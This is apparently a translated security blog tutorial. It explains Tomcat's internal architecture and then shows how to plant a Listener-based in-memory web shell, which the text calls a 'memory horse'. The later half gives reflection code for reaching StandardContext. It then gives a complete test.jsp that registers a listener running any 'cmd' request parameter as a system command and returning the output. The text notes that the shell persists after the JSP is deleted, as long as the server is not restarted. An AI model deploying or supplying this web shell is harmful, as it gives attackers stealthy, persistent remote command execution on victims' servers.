1, Introduction to Tomcat
Main functions of Tomcat
As a Web server, tomcat implements two very core functions:
- HTTP server function: Socket communication (based on TCP/IP) and parsing HTTP messages
- Servlet container function: load and manage servlets, which are specifically responsible for processing Request requests

The above two functions correspond to the two core components of tomcat, Connector and Container. The Connector is responsible for external communication (completing the Http server function) and the Container is responsible for internal processing (completing the Servlet Container function).

-
Server
Server means the entire tomcat server. A tomcat has only one server. The server contains at least one Service component to provide specific services. -
Service
A Service is an internal component of a Server. A Server can include multiple services. It binds several Connector components to a Container -
Connector
It is called a Connector, which is one of the core components of a Service. A Service can have multiple connectors, which are mainly used to connect client requests. It is used to accept requests, encapsulate requests into requests and responses, and then hand them to the Container for processing. After the Container is processed, it is handed over to the Connector and returned to the client.
-
Container
Responsible for handling servlet requests from users
Connector connector
The connector mainly performs the following three core functions:
- socket communication, that is, network programming
- Analyze and process the application layer protocol and encapsulate it into a Request object
- Convert Request to ServletRequest and Response to ServletResponse
The above three components are Endpoint, Processor and Adapter respectively. The Endpoint is responsible for providing the Request byte stream to the Processor, the Processor is responsible for providing the Request object defined by Tomcat to the Adapter, and the Adapter is responsible for providing the standard ServletRequest object to the Servlet container.

Container container
The Container component, also known as Catalina, is the core of Tomcat. In the Container, there are four kinds of containers: Engine, Host, Context and Wrapper. The four kinds of containers are designed in a complete set of baby style layered structure.

Functions of four containers:
- Engine
Represents the Servlet Engine of the whole Catalina, which is used to manage multiple virtual sites. A Service can only have one Engine at most, but one Engine can contain multiple hosts - Host
Represents a virtual host, or a site. Tomcat can be configured with multiple virtual host addresses, and a virtual host can contain multiple contexts - Context
Represents a Web application. Each Context has a unique path. A Web application can contain multiple wrappers - Wrapper
Represents a Servlet, which is responsible for managing the life cycle of the whole Servlet, including loading, initialization, resource recycling, etc
As shown in the figure below, a.com and b.com correspond to two hosts respectively

Structure diagram of tomcat:

2, Listener memory
When requesting a website, the program first executes the contents of the listener listener: listener - > filter - > servlet
The Listener is loaded first, so you can dynamically register malicious Listener memory horses. Listeners are divided into the following categories:
- ServletContext, triggered when the server starts and terminates
- Session, triggered when the session operation
- Request, triggered when accessing the service
Among them, the listener listening to the Request object is the most suitable memory horse. As long as you access the service, you can trigger the operation.
ServletRequestListener interface
If you want to introduce listener in Tomcat, you need to implement two interfaces: lifecycle listener and native EvenListener.
The listener that implements the LifecycleListener interface generally acts on the tomcat initialization startup phase. At this time, the client's request has not entered the parsing phase and is not suitable for memory.
So let's look at another EventListener interface. In Tomcat, many interfaces inherited from EventListener are customized and applied to the listening of various objects.

Focus on the ServletRequestListener interface
ServletRequestListener is used to listen to the creation and destruction of ServletRequest objects. When we access any resources, whether servlet s, JSPS or static resources, the requestInitialized method will be triggered.
Here, let's introduce ServletRequestListener and its execution process through a demo
Configure tomcat source code debugging environment: https://zhuanlan.zhihu.com/p/35454131
Write a TestListener inherited from the ServletRequestListener interface:
public class TestListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("Yes TestListener requestDestroyed"); } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Yes TestListener requestInitialized"); } }
Configure in web.xml:
<listener> <listener-class>test.TestListener</listener-class> </listener>
Access any path: http://127.0.0.1:8080/11
You can see that the console prints the information. tomcat first executes requestInitialized and then requestDestroyed

requestInitialized: triggered when the request object is created
requestDestroyed: triggered when the request object is destroyed
StandardContext object
The StandardContext object is used to add a malicious listener
Connect to the above environment, directly drop the breakpoint at requestInitialized. After accessing the url, the whole call chain is displayed

By calling the chain, we found that Tomcat called the Listener we defined in StandardHostValve.
Follow up the context.fireRequestInitEvent and call the requestInitialized method at the red box as shown in the figure
After tracing up, it is found that the above listener is obtained in the StandardContext#getApplicationEventListeners method
Added listener in StandardContext#addApplicationEventListener
At this time, our idea is to call the StandardContext#addApplicationEventListener method to add our own malicious listener
How to get the StandardContext object in jsp
Mode 1:
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
Mode 2:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
The following are the memory horses exposed on the network:
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd") != null){ InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String out = s.hasNext()?s.next():""; Field requestF = req.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized(ServletRequestEvent sre) {} } %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener(); context.addApplicationEventListener(listenerDemo); %>
First, access the uploaded test.jsp to generate the listener memory horse. Then, even if the test.jsp is deleted, the memory horse can exist as long as the server is not restarted.